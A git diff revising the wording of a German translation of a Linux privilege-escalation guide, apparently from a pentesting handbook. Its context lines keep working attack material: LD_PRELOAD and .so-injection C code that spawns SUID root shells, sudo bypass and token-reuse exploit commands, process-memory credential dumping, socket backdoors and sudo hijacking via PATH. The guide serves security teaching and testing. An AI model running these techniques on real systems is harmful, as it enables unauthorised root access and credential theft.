[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (ausführen IM Opfer, überprüft nur Exploits für Kernel 2.x) -Immer **die Kernel-Version in Google suchen**, vielleicht ist Ihre Kernel-Version in einem Kernel-Exploit angegeben und dann sind Sie sich sicher, dass dieser Exploit gültig ist. +Immer **die Kernel-Version in Google suchen**, vielleicht ist Ihre Kernel-Version in einem bestimmten Kernel-Exploit angegeben und dann sind Sie sich sicher, dass dieser Exploit gültig ist. ### CVE-2016-5195 (DirtyCow) @@ -59,7 +59,7 @@ https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` ### Sudo-Version -Basierend auf den anfälligen sudo-Versionen, die in: +Basierend auf den anfälligen sudo-Versionen, die erscheinen in: ```bash searchsploit sudo ``` @@ -75,7 +75,7 @@ sudo -u#-1 /bin/bash ``` ### Dmesg-Signaturüberprüfung fehlgeschlagen -Überprüfen Sie die **smasher2 box von HTB** für ein **Beispiel**, wie diese Schwachstelle ausgenutzt werden könnte. +Überprüfen Sie die **smasher2 box of HTB** für ein **Beispiel**, wie diese Schwachstelle ausgenutzt werden könnte. ```bash dmesg 2>/dev/null | grep "signature" ``` @@ -162,27 +162,27 @@ Wenn Sie SSH-Zugriff auf die Maschine haben, können Sie auch **openVAS** verwen ## Prozesse -Werfen Sie einen Blick darauf, **welche Prozesse** ausgeführt werden, und überprüfen Sie, ob ein Prozess **mehr Berechtigungen hat, als er sollte** (vielleicht ein Tomcat, der von root ausgeführt wird?) +Sehen Sie sich an, **welche Prozesse** ausgeführt werden, und überprüfen Sie, ob ein Prozess **mehr Berechtigungen hat, als er sollte** (vielleicht ein Tomcat, der von root ausgeführt wird?). ```bash ps aux ps -ef top -n 1 ``` -Immer nach möglichen [**electron/cef/chromium debuggers** suchen, die laufen, da du sie missbrauchen könntest, um Privilegien zu eskalieren](electron-cef-chromium-debugger-abuse.md). **Linpeas** erkennt diese, indem es den `--inspect` Parameter in der Befehlszeile des Prozesses überprüft.\ -Überprüfe auch **deine Berechtigungen über die Binärdateien der Prozesse**, vielleicht kannst du jemanden überschreiben. +Überprüfen Sie immer, ob mögliche [**electron/cef/chromium debuggers** laufen, die Sie missbrauchen könnten, um Privilegien zu eskalieren](electron-cef-chromium-debugger-abuse.md). **Linpeas** erkennt diese, indem es den `--inspect` Parameter in der Befehlszeile des Prozesses überprüft.\ +Überprüfen Sie auch **Ihre Berechtigungen über die Binärdateien der Prozesse**, vielleicht können Sie jemandes Dateien überschreiben. ### Prozessüberwachung -Du kannst Tools wie [**pspy**](https://github.com/DominicBreuker/pspy) verwenden, um Prozesse zu überwachen. Dies kann sehr nützlich sein, um anfällige Prozesse zu identifizieren, die häufig ausgeführt werden oder wenn eine Reihe von Anforderungen erfüllt sind. +Sie können Tools wie [**pspy**](https://github.com/DominicBreuker/pspy) verwenden, um Prozesse zu überwachen. Dies kann sehr nützlich sein, um anfällige Prozesse zu identifizieren, die häufig ausgeführt werden oder wenn eine Reihe von Anforderungen erfüllt sind. ### Prozessspeicher Einige Dienste eines Servers speichern **Anmeldeinformationen im Klartext im Speicher**.\ -Normalerweise benötigst du **Root-Rechte**, um den Speicher von Prozessen zu lesen, die anderen Benutzern gehören, daher ist dies normalerweise nützlicher, wenn du bereits Root bist und mehr Anmeldeinformationen entdecken möchtest.\ -Denke jedoch daran, dass **du als regulärer Benutzer den Speicher der Prozesse, die du besitzt, lesen kannst**. +Normalerweise benötigen Sie **Root-Rechte**, um den Speicher von Prozessen zu lesen, die anderen Benutzern gehören, daher ist dies normalerweise nützlicher, wenn Sie bereits Root sind und mehr Anmeldeinformationen entdecken möchten.\ +Denken Sie jedoch daran, dass **Sie als regulärer Benutzer den Speicher der Prozesse, die Sie besitzen, lesen können**. > [!WARNING] -> Beachte, dass heutzutage die meisten Maschinen **ptrace standardmäßig nicht erlauben**, was bedeutet, dass du keine anderen Prozesse, die deinem unprivilegierten Benutzer gehören, dumpen kannst. +> Beachten Sie, dass die meisten Maschinen heutzutage **ptrace standardmäßig nicht erlauben**, was bedeutet, dass Sie keine anderen Prozesse dumpen können, die Ihrem unprivilegierten Benutzer gehören. > > Die Datei _**/proc/sys/kernel/yama/ptrace_scope**_ steuert die Zugänglichkeit von ptrace: > @@ -193,7 +193,7 @@ Denke jedoch daran, dass **du als regulärer Benutzer den Speicher der Prozesse, #### GDB -Wenn du Zugriff auf den Speicher eines FTP-Dienstes (zum Beispiel) hast, könntest du den Heap erhalten und nach seinen Anmeldeinformationen suchen. +Wenn Sie Zugriff auf den Speicher eines FTP-Dienstes (zum Beispiel) haben, könnten Sie den Heap abrufen und nach seinen Anmeldeinformationen suchen. ```bash gdb -p (gdb) info proc mappings @@ -215,7 +215,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Für eine gegebene Prozess-ID zeigt **maps, wie der Speicher innerhalb des virtuellen Adressraums dieses Prozesses abgebildet ist**; es zeigt auch die **Berechtigungen jeder abgebildeten Region**. Die **mem** Pseudodatei **stellt den Speicher der Prozesse selbst zur Verfügung**. Aus der **maps**-Datei wissen wir, welche **Speicherregionen lesbar sind** und deren Offsets. Wir verwenden diese Informationen, um **in die mem-Datei zu suchen und alle lesbaren Regionen** in eine Datei zu dumpen. +Für eine gegebene Prozess-ID zeigt **maps, wie der Speicher innerhalb des virtuellen Adressraums dieses Prozesses abgebildet ist**; es zeigt auch die **Berechtigungen jeder abgebildeten Region**. Die **mem** Pseudo-Datei **stellt den Speicher der Prozesse selbst zur Verfügung**. Aus der **maps** Datei wissen wir, welche **Speicherregionen lesbar sind** und deren Offsets. Wir verwenden diese Informationen, um **in die mem-Datei zu suchen und alle lesbaren Regionen** in eine Datei zu dumpen. ```bash procdump() ( @@ -342,7 +342,7 @@ rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh mys ``` **Wenn das Wildcard von einem Pfad wie** _**/some/path/\***_ **vorgegangen wird, ist es nicht anfällig (sogar** _**./\***_ **ist es nicht).** -Lesen Sie die folgende Seite für weitere Tricks zur Ausnutzung von Wildcards: +Lesen Sie die folgende Seite für weitere Tricks zur Wildcard-Ausnutzung: {{#ref}} wildcards-spare-tricks.md @@ -439,26 +439,26 @@ Beachten Sie, dass der **Timer** durch das Erstellen eines Symlinks zu ihm in `/ ## Sockets -Unix-Domain-Sockets (UDS) ermöglichen die **Prozesskommunikation** auf denselben oder verschiedenen Maschinen innerhalb von Client-Server-Modellen. Sie nutzen standardmäßige Unix-Deskriptor-Dateien für die intercomputerliche Kommunikation und werden über `.socket`-Dateien eingerichtet. +Unix-Domain-Sockets (UDS) ermöglichen die **Prozesskommunikation** auf denselben oder verschiedenen Maschinen innerhalb von Client-Server-Modellen. Sie nutzen standardmäßige Unix-Descriptor-Dateien für die intercomputerliche Kommunikation und werden über `.socket`-Dateien eingerichtet. Sockets können mit `.socket`-Dateien konfiguriert werden. **Erfahren Sie mehr über Sockets mit `man systemd.socket`.** In dieser Datei können mehrere interessante Parameter konfiguriert werden: - `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Diese Optionen sind unterschiedlich, aber eine Zusammenfassung wird verwendet, um **anzuzeigen, wo es auf den Socket hören wird** (der Pfad der AF_UNIX-Socket-Datei, die IPv4/6 und/oder Portnummer, auf die gehört werden soll, usw.) -- `Accept`: Nimmt ein boolesches Argument. Wenn **true**, wird für jede eingehende Verbindung eine **Service-Instanz erzeugt** und nur der Verbindungs-Socket wird an sie übergeben. Wenn **false**, werden alle hörenden Sockets selbst an die gestartete Service-Einheit **übergeben**, und es wird nur eine Service-Einheit für alle Verbindungen erzeugt. Dieser Wert wird für Datagram-Sockets und FIFOs ignoriert, bei denen eine einzelne Service-Einheit bedingungslos den gesamten eingehenden Verkehr verarbeitet. **Standardmäßig auf false.** Aus Leistungsgründen wird empfohlen, neue Daemons nur so zu schreiben, dass sie für `Accept=no` geeignet sind. +- `Accept`: Nimmt ein boolesches Argument. Wenn **wahr**, wird für jede eingehende Verbindung eine **Service-Instanz erstellt** und nur der Verbindungs-Socket wird an sie übergeben. Wenn **falsch**, werden alle hörenden Sockets selbst an die gestartete Service-Einheit **übergeben**, und es wird nur eine Service-Einheit für alle Verbindungen erstellt. Dieser Wert wird für Datagram-Sockets und FIFOs ignoriert, bei denen eine einzelne Service-Einheit bedingungslos den gesamten eingehenden Verkehr verarbeitet. **Standardmäßig auf falsch.** Aus Leistungsgründen wird empfohlen, neue Daemons nur so zu schreiben, dass sie für `Accept=no` geeignet sind. - `ExecStartPre`, `ExecStartPost`: Nimmt eine oder mehrere Befehlszeilen, die **vor** oder **nach** dem Erstellen und Binden der hörenden **Sockets**/FIFOs **ausgeführt** werden. Das erste Token der Befehlszeile muss ein absoluter Dateiname sein, gefolgt von Argumenten für den Prozess. - `ExecStopPre`, `ExecStopPost`: Zusätzliche **Befehle**, die **vor** oder **nach** dem Schließen und Entfernen der hörenden **Sockets**/FIFOs **ausgeführt** werden. -- `Service`: Gibt den Namen der **Service**-Einheit an, die bei **eingehendem Verkehr** **aktiviert** werden soll. Diese Einstellung ist nur für Sockets mit Accept=no zulässig. Sie wird standardmäßig auf den Service gesetzt, der denselben Namen wie der Socket trägt (mit dem Suffix ersetzt). In den meisten Fällen sollte es nicht notwendig sein, diese Option zu verwenden. +- `Service`: Gibt den Namen der **Service**-Einheit an, die bei **eingehendem Verkehr** **aktiviert** werden soll. Diese Einstellung ist nur für Sockets mit Accept=no zulässig. Sie wird standardmäßig auf den Service gesetzt, der denselben Namen wie der Socket trägt (mit dem ersetzten Suffix). In den meisten Fällen sollte es nicht notwendig sein, diese Option zu verwenden. ### Schreibbare .socket-Dateien Wenn Sie eine **schreibbare** `.socket`-Datei finden, können Sie am Anfang des `[Socket]`-Abschnitts etwas hinzufügen wie: `ExecStartPre=/home/kali/sys/backdoor`, und die Hintertür wird ausgeführt, bevor der Socket erstellt wird. Daher müssen Sie **wahrscheinlich warten, bis die Maschine neu gestartet wird.**\ -&#xNAN;_Noten Sie, dass das System diese Socket-Dateikonfiguration verwenden muss, oder die Hintertür wird nicht ausgeführt_ +_Note, dass das System diese Socket-Dateikonfiguration verwenden muss, oder die Hintertür wird nicht ausgeführt._ ### Schreibbare Sockets -Wenn Sie **irgendeinen schreibbaren Socket** identifizieren (_jetzt sprechen wir über Unix-Sockets und nicht über die Konfigurations-.socket-Dateien_), dann **können Sie mit diesem Socket kommunizieren** und möglicherweise eine Schwachstelle ausnutzen. +Wenn Sie **irgendeinen schreibbaren Socket** **identifizieren**, (_jetzt sprechen wir über Unix-Sockets und nicht über die Konfigurations-.socket-Dateien_), dann **können Sie mit diesem Socket kommunizieren** und möglicherweise eine Schwachstelle ausnutzen. ### Unix-Sockets auflisten ```bash @@ -481,7 +481,7 @@ socket-command-injection.md ### HTTP Sockets -Beachten Sie, dass es einige **Sockets gibt, die auf HTTP**-Anfragen hören (_ich spreche nicht von .socket-Dateien, sondern von den Dateien, die als Unix-Sockets fungieren_). Sie können dies überprüfen mit: +Beachten Sie, dass es einige **Sockets geben kann, die auf HTTP**-Anfragen hören (_ich spreche nicht von .socket-Dateien, sondern von den Dateien, die als Unix-Sockets fungieren_). Sie können dies überprüfen mit: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` @@ -532,11 +532,11 @@ Connection: Upgrade Upgrade: tcp ``` -Nachdem Sie die `socat`-Verbindung eingerichtet haben, können Sie Befehle direkt im Container mit Root-Zugriff auf das Dateisystem des Hosts ausführen. +Nachdem die `socat`-Verbindung eingerichtet ist, können Sie Befehle direkt im Container mit Root-Zugriff auf das Dateisystem des Hosts ausführen. ### Andere -Beachten Sie, dass Sie, wenn Sie Schreibberechtigungen über den Docker-Socket haben, weil Sie **in der Gruppe `docker` sind**, [**mehr Möglichkeiten zur Eskalation von Rechten haben**](interesting-groups-linux-pe/index.html#docker-group). Wenn die [**Docker API an einem Port lauscht**, können Sie sie möglicherweise ebenfalls kompromittieren](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Beachten Sie, dass Sie, wenn Sie Schreibberechtigungen über den Docker-Socket haben, weil Sie **in der Gruppe `docker`** sind, [**mehr Möglichkeiten zur Eskalation von Rechten haben**](interesting-groups-linux-pe/index.html#docker-group). Wenn die [**Docker API an einem Port lauscht**, können Sie sie möglicherweise ebenfalls kompromittieren](../../network-services-pentesting/2375-pentesting-docker.md#compromising). Überprüfen Sie **weitere Möglichkeiten, aus Docker auszubrechen oder es zu missbrauchen, um Privilegien zu eskalieren** in: @@ -564,7 +564,7 @@ runc-privilege-escalation.md D-Bus ist ein ausgeklügeltes **Inter-Process Communication (IPC) System**, das es Anwendungen ermöglicht, effizient zu interagieren und Daten auszutauschen. Es wurde mit dem modernen Linux-System im Hinterkopf entwickelt und bietet ein robustes Framework für verschiedene Formen der Anwendungskommunikation. -Das System ist vielseitig und unterstützt grundlegendes IPC, das den Datenaustausch zwischen Prozessen verbessert, ähnlich wie **erweiterte UNIX-Domain-Sockets**. Darüber hinaus hilft es beim Broadcasten von Ereignissen oder Signalen, was eine nahtlose Integration zwischen den Systemkomponenten fördert. Zum Beispiel kann ein Signal von einem Bluetooth-Daemon über einen eingehenden Anruf einen Musikplayer dazu bringen, sich stummzuschalten, was die Benutzererfahrung verbessert. Darüber hinaus unterstützt D-Bus ein Remote-Objektsystem, das Serviceanfragen und Methodenaufrufe zwischen Anwendungen vereinfacht und Prozesse optimiert, die traditionell komplex waren. +Das System ist vielseitig und unterstützt grundlegende IPC, die den Datenaustausch zwischen Prozessen verbessert, ähnlich wie **erweiterte UNIX-Domänensockets**. Darüber hinaus hilft es beim Broadcasten von Ereignissen oder Signalen, was eine nahtlose Integration zwischen Systemkomponenten fördert. Zum Beispiel kann ein Signal von einem Bluetooth-Daemon über einen eingehenden Anruf einen Musikplayer dazu bringen, sich stummzuschalten, was die Benutzererfahrung verbessert. Darüber hinaus unterstützt D-Bus ein Remote-Objektsystem, das Serviceanfragen und Methodenaufrufe zwischen Anwendungen vereinfacht und Prozesse optimiert, die traditionell komplex waren. D-Bus arbeitet nach einem **Erlauben/Verweigern-Modell**, das die Nachrichtenberechtigungen (Methodenaufrufe, Signalübertragungen usw.) basierend auf der kumulativen Wirkung übereinstimmender Richtlinienregeln verwaltet. Diese Richtlinien spezifizieren Interaktionen mit dem Bus und können möglicherweise eine Privilegieneskalation durch die Ausnutzung dieser Berechtigungen ermöglichen. @@ -629,7 +629,7 @@ timeout 1 tcpdump ### Generische Aufzählung -Überprüfen Sie **wer** Sie sind, welche **Befugnisse** Sie haben, welche **Benutzer** im System sind, welche sich **anmelden** können und welche **Root-Rechte** haben: +Überprüfen Sie **wer** Sie sind, welche **Berechtigungen** Sie haben, welche **Benutzer** im System sind, welche sich **anmelden** können und welche **Root-Berechtigungen** haben: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -688,7 +688,7 @@ Wenn Sie **ein Passwort** der Umgebung **kennen, versuchen Sie sich als jeder Be ### Su Brute Wenn es Ihnen nichts ausmacht, viel Lärm zu machen und die `su`- und `timeout`-Binaries auf dem Computer vorhanden sind, können Sie versuchen, Benutzer mit [su-bruteforce](https://github.com/carlospolop/su-bruteforce) zu brute-forcen.\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) mit dem `-a`-Parameter versucht ebenfalls, Benutzer zu brute-forcen. +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) mit dem Parameter `-a` versucht ebenfalls, Benutzer zu brute-forcen. ## Schreibbare PATH-Missbräuche @@ -732,7 +732,7 @@ $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Dieses Beispiel, **basierend auf der HTB-Maschine Admirer**, war **anfällig** für **PYTHONPATH-Hijacking**, um eine beliebige Python-Bibliothek zu laden, während das Skript als Root ausgeführt wurde: +Dieses Beispiel, **basierend auf der HTB-Maschine Admirer**, war **anfällig** für **PYTHONPATH-Hijacking**, um eine beliebige Python-Bibliothek zu laden, während das Skript als Root ausgeführt wird: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` @@ -780,11 +780,11 @@ Dann, wenn Sie die SUID-Binärdatei aufrufen, wird diese Funktion ausgeführt ### LD_PRELOAD & **LD_LIBRARY_PATH** -Die **LD_PRELOAD**-Umgebungsvariable wird verwendet, um eine oder mehrere gemeinsam genutzte Bibliotheken (.so-Dateien) anzugeben, die vom Loader vor allen anderen, einschließlich der Standard-C-Bibliothek (`libc.so`), geladen werden sollen. Dieser Prozess wird als Vorladen einer Bibliothek bezeichnet. +Die **LD_PRELOAD**-Umgebungsvariable wird verwendet, um eine oder mehrere Shared Libraries (.so-Dateien) anzugeben, die vom Loader vor allen anderen, einschließlich der Standard-C-Bibliothek (`libc.so`), geladen werden sollen. Dieser Prozess wird als Preloading einer Bibliothek bezeichnet. Um jedoch die Systemsicherheit aufrechtzuerhalten und zu verhindern, dass diese Funktion ausgenutzt wird, insbesondere bei **suid/sgid**-Ausführungen, setzt das System bestimmte Bedingungen durch: -- Der Loader ignoriert **LD_PRELOAD** für Ausführungen, bei denen die echte Benutzer-ID (_ruid_) nicht mit der effektiven Benutzer-ID (_euid_) übereinstimmt. +- Der Loader ignoriert **LD_PRELOAD** für Ausführungen, bei denen die reale Benutzer-ID (_ruid_) nicht mit der effektiven Benutzer-ID (_euid_) übereinstimmt. - Für Ausführungen mit suid/sgid werden nur Bibliotheken in Standardpfaden, die ebenfalls suid/sgid sind, vorab geladen. Eine Privilegieneskalation kann auftreten, wenn Sie die Möglichkeit haben, Befehle mit `sudo` auszuführen und die Ausgabe von `sudo -l` die Aussage **env_keep+=LD_PRELOAD** enthält. Diese Konfiguration ermöglicht es, dass die **LD_PRELOAD**-Umgebungsvariable bestehen bleibt und auch erkannt wird, wenn Befehle mit `sudo` ausgeführt werden, was potenziell zur Ausführung beliebigen Codes mit erhöhten Rechten führen kann. @@ -809,12 +809,12 @@ Dann **kompiliere es** mit: cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -Schließlich, **Privilegien erhöhen** durch Ausführen +Schließlich, **Privilegien eskalieren** ausführen ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Ein ähnlicher Privilegienausstieg kann ausgenutzt werden, wenn der Angreifer die **LD_LIBRARY_PATH** Umgebungsvariable kontrolliert, da er den Pfad kontrolliert, in dem nach Bibliotheken gesucht wird. +> Ein ähnlicher Privilegienausstieg kann missbraucht werden, wenn der Angreifer die **LD_LIBRARY_PATH** Umgebungsvariable kontrolliert, da er den Pfad kontrolliert, in dem nach Bibliotheken gesucht wird. ```c #include #include @@ -836,13 +836,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID-Binärdatei – .so-Injektion -Wenn Sie auf eine Binärdatei mit **SUID**-Berechtigungen stoßen, die ungewöhnlich erscheint, ist es eine gute Praxis zu überprüfen, ob sie **.so**-Dateien ordnungsgemäß lädt. Dies kann überprüft werden, indem Sie den folgenden Befehl ausführen: +Wenn man auf eine Binärdatei mit **SUID**-Berechtigungen stößt, die ungewöhnlich erscheint, ist es eine gute Praxis zu überprüfen, ob sie **.so**-Dateien ordnungsgemäß lädt. Dies kann überprüft werden, indem man den folgenden Befehl ausführt: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` Zum Beispiel deutet das Auftreten eines Fehlers wie _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ auf ein potenzielles Exploitationsrisiko hin. -Um dies auszunutzen, würde man fortfahren, eine C-Datei zu erstellen, sagen wir _"/path/to/.config/libcalc.c"_, die den folgenden Code enthält: +Um dies auszunutzen, würde man fortfahren, indem man eine C-Datei erstellt, sagen wir _"/path/to/.config/libcalc.c"_, die den folgenden Code enthält: ```c #include #include @@ -853,7 +853,7 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Dieser Code, einmal kompiliert und ausgeführt, zielt darauf ab, die Berechtigungen zu erhöhen, indem er Dateiberechtigungen manipuliert und eine Shell mit erhöhten Berechtigungen ausführt. +Dieser Code, einmal kompiliert und ausgeführt, zielt darauf ab, die Berechtigungen zu erhöhen, indem er die Dateiberechtigungen manipuliert und eine Shell mit erhöhten Berechtigungen ausführt. Kompilieren Sie die obige C-Datei in eine Shared Object (.so) Datei mit: ```bash @@ -884,7 +884,7 @@ setresuid(0,0,0); system("/bin/bash -p"); } ``` -Wenn Sie einen Fehler wie erhalten +Wenn Sie einen Fehler erhalten wie ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` @@ -926,7 +926,7 @@ Anforderungen zur Eskalation von Privilegien: (Sie können `ptrace_scope` vorübergehend mit `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` aktivieren oder dauerhaft `/etc/sysctl.d/10-ptrace.conf` ändern und `kernel.yama.ptrace_scope = 0` setzen) -Wenn all diese Anforderungen erfüllt sind, **können Sie Privilegien eskalieren mit:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +Wenn alle diese Anforderungen erfüllt sind, **können Sie Privilegien eskalieren mit:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) - Der **erste Exploit** (`exploit.sh`) erstellt die Binärdatei `activate_sudo_token` in _/tmp_. Sie können es verwenden, um **das sudo-Token in Ihrer Sitzung zu aktivieren** (Sie erhalten nicht automatisch eine Root-Shell, führen Sie `sudo su` aus): ```bash @@ -939,7 +939,7 @@ sudo su bash exploit_v2.sh /tmp/sh -p ``` -- Der **dritte Exploit** (`exploit_v3.sh`) wird eine **sudoers-Datei erstellen**, die **sudo-Token ewig macht und allen Benutzern erlaubt, sudo zu verwenden** +- Der **dritte Exploit** (`exploit_v3.sh`) wird eine **sudoers-Datei erstellen**, die **sudo-Token ewig macht und allen Benutzern erlaubt, sudo zu verwenden**. ```bash bash exploit_v3.sh sudo su @@ -979,9 +979,9 @@ permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Wenn Sie wissen, dass ein **Benutzer normalerweise eine Maschine verbindet und `sudo`** verwendet, um Privilegien zu eskalieren, und Sie haben eine Shell im Benutzerkontext erhalten, können Sie **ein neues sudo ausführbares Programm erstellen**, das Ihren Code als root ausführt und dann den Befehl des Benutzers. Dann **ändern Sie den $PATH** des Benutzerkontexts (zum Beispiel, indem Sie den neuen Pfad in .bash_profile hinzufügen), sodass, wenn der Benutzer sudo ausführt, Ihr sudo ausführbares Programm ausgeführt wird. +Wenn Sie wissen, dass ein **Benutzer normalerweise eine Maschine verbindet und `sudo`** verwendet, um Privilegien zu eskalieren, und Sie haben eine Shell im Kontext dieses Benutzers erhalten, können Sie **eine neue sudo ausführbare Datei erstellen**, die Ihren Code als root und dann den Befehl des Benutzers ausführt. Dann **ändern Sie den $PATH** des Benutzerkontexts (zum Beispiel, indem Sie den neuen Pfad in .bash_profile hinzufügen), sodass, wenn der Benutzer sudo ausführt, Ihre sudo ausführbare Datei ausgeführt wird. -Beachten Sie, dass Sie, wenn der Benutzer eine andere Shell (nicht bash) verwendet, andere Dateien ändern müssen, um den neuen Pfad hinzuzufügen. Zum Beispiel [sudo-piggyback](https://github.com/APTy/sudo-piggyback) ändert `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Sie finden ein weiteres Beispiel in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Beachten Sie, dass Sie, wenn der Benutzer eine andere Shell verwendet (nicht bash), andere Dateien ändern müssen, um den neuen Pfad hinzuzufügen. Zum Beispiel [sudo-piggyback](https://github.com/APTy/sudo-piggyback) ändert `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Sie finden ein weiteres Beispiel in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) Oder etwas wie ausführen: ```bash @@ -1002,7 +1002,7 @@ sudo ls ### ld.so -Die Datei `/etc/ld.so.conf` gibt **an, woher die geladenen Konfigurationsdateien stammen**. Typischerweise enthält diese Datei den folgenden Pfad: `include /etc/ld.so.conf.d/*.conf` +Die Datei `/etc/ld.so.conf` gibt an, **woher die geladenen Konfigurationsdateien stammen**. Typischerweise enthält diese Datei den folgenden Pfad: `include /etc/ld.so.conf.d/*.conf` Das bedeutet, dass die Konfigurationsdateien aus `/etc/ld.so.conf.d/*.conf` gelesen werden. Diese Konfigurationsdateien **verweisen auf andere Ordner**, in denen **Bibliotheken** **gesucht** werden. Zum Beispiel ist der Inhalt von `/etc/ld.so.conf.d/libc.conf` `/usr/local/lib`. **Das bedeutet, dass das System nach Bibliotheken im Verzeichnis `/usr/local/lib` suchen wird**. @@ -1024,7 +1024,7 @@ linux-gate.so.1 => (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -Durch das Kopieren der lib in `/var/tmp/flag15/` wird sie von dem Programm an diesem Ort verwendet, wie im `RPATH`-Variablen angegeben. +Durch das Kopieren der lib in `/var/tmp/flag15/` wird sie von dem Programm an diesem Ort verwendet, wie im `RPATH`-Variable angegeben. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1048,7 +1048,7 @@ execve(file,argv,0); ``` ## Fähigkeiten -Linux-Fähigkeiten bieten eine **Teilmenge der verfügbaren Root-Rechte für einen Prozess**. Dies zerlegt effektiv die Root-**Rechte in kleinere und unterscheidbare Einheiten**. Jede dieser Einheiten kann dann unabhängig Prozessen gewährt werden. Auf diese Weise wird die vollständige Menge an Rechten reduziert, was die Risiken einer Ausnutzung verringert.\ +Linux-Fähigkeiten bieten eine **Teilmenge der verfügbaren Root-Rechte für einen Prozess**. Dies zerlegt effektiv die Root-**Rechte in kleinere und unterscheidbare Einheiten**. Jede dieser Einheiten kann dann unabhängig an Prozesse vergeben werden. Auf diese Weise wird die vollständige Menge an Rechten reduziert, was die Risiken einer Ausnutzung verringert.\ Lesen Sie die folgende Seite, um **mehr über Fähigkeiten und deren Missbrauch zu erfahren**: {{#ref}} @@ -1062,7 +1062,7 @@ Das **"lesen"**-Bit impliziert, dass der Benutzer die **Dateien** auflisten kann ## ACLs -Access Control Lists (ACLs) stellen die sekundäre Schicht der diskretionären Berechtigungen dar, die in der Lage sind, die traditionellen ugo/rwx-Berechtigungen **zu überschreiben**. Diese Berechtigungen verbessern die Kontrolle über den Zugriff auf Dateien oder Verzeichnisse, indem sie bestimmten Benutzern, die nicht die Eigentümer oder Teil der Gruppe sind, Rechte gewähren oder verweigern. Diese Ebene der **Granularität sorgt für eine präzisere Zugriffsverwaltung**. Weitere Details finden Sie [**hier**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Access Control Lists (ACLs) stellen die sekundäre Schicht der diskretionären Berechtigungen dar, die in der Lage sind, die traditionellen ugo/rwx-Berechtigungen **zu überschreiben**. Diese Berechtigungen verbessern die Kontrolle über den Zugriff auf Dateien oder Verzeichnisse, indem sie bestimmten Benutzern, die nicht die Eigentümer oder Teil der Gruppe sind, Rechte gewähren oder verweigern. Diese Ebene der **Granularität sorgt für eine genauere Zugriffsverwaltung**. Weitere Details finden Sie [**hier**](https://linuxconfig.org/how-to-manage-acls-on-linux). **Geben** Sie dem Benutzer "kali" Lese- und Schreibberechtigungen für eine Datei: ```bash @@ -1078,9 +1078,9 @@ getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ## Offene Shell-Sitzungen In **alten Versionen** können Sie einige **Shell**-Sitzungen eines anderen Benutzers (**root**) **übernehmen**.\ -In **neueren Versionen** können Sie nur zu Screen-Sitzungen Ihres **eigenen Benutzers** **verbinden**. Sie könnten jedoch **interessante Informationen innerhalb der Sitzung** finden. +In **neueren Versionen** können Sie sich nur mit den Screen-Sitzungen **Ihres eigenen Benutzers** **verbinden**. Sie könnten jedoch **interessante Informationen innerhalb der Sitzung** finden. -### Screen-Sitzungen übernehmen +### Übernahme von Screen-Sitzungen **Liste der Screen-Sitzungen** ```bash @@ -1099,7 +1099,7 @@ screen -x [user]/[session id] Dies war ein Problem mit **alten tmux-Versionen**. Ich konnte eine von root erstellte tmux (v2.1) Sitzung als nicht privilegierter Benutzer nicht hijacken. -**Liste tmux-Sitzungen** +**Liste der tmux-Sitzungen** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets @@ -1117,11 +1117,11 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Check **Valentine box from HTB** for an example. +Überprüfen Sie die **Valentine-Box von HTB** für ein Beispiel. ## SSH -### Debian OpenSSL Predictable PRNG - CVE-2008-0166 +### Debian OpenSSL Vorhersehbarer PRNG - CVE-2008-0166 Alle SSL- und SSH-Schlüssel, die auf Debian-basierten Systemen (Ubuntu, Kubuntu usw.) zwischen September 2006 und dem 13. Mai 2008 generiert wurden, können von diesem Fehler betroffen sein.\ Dieser Fehler tritt auf, wenn ein neuer SSH-Schlüssel in diesen Betriebssystemen erstellt wird, da **nur 32.768 Variationen möglich waren**. Das bedeutet, dass alle Möglichkeiten berechnet werden können und **wenn Sie den SSH-Öffentlichen Schlüssel haben, können Sie nach dem entsprechenden privaten Schlüssel suchen**. Die berechneten Möglichkeiten finden Sie hier: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) @@ -1151,17 